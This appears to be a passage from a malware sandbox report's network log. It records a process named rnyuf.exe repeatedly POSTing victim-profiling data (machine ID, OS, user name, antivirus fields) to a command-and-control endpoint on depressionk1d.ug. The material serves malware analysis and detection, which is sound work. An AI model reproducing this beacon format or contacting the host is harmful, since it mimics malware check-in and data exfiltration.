Nov 12, 2021 22:24:04.445785999 CET	10328	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.4	50039	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.573520899 CET	10331	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:04.601016998 CET	10331	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.4	50041	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.754512072 CET	10333	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:04.781559944 CET	10334	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.4	50043	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:04.992624044 CET	10336	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:05.024060965 CET	10336	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.4	50044	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:05.313631058 CET	10337	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:05.336143017 CET	10338	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:05.336158037 CET	10339	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.4	50045	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:05.466169119 CET	10340	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:05.488791943 CET	10341	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:05.488873005 CET	10342	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.4	50046	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:05.636332989 CET	10343	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:05.658807039 CET	10345	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:05.658819914 CET	10345	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.4	50048	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:05.809629917 CET	10346	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:05.833409071 CET	10348	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:05 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 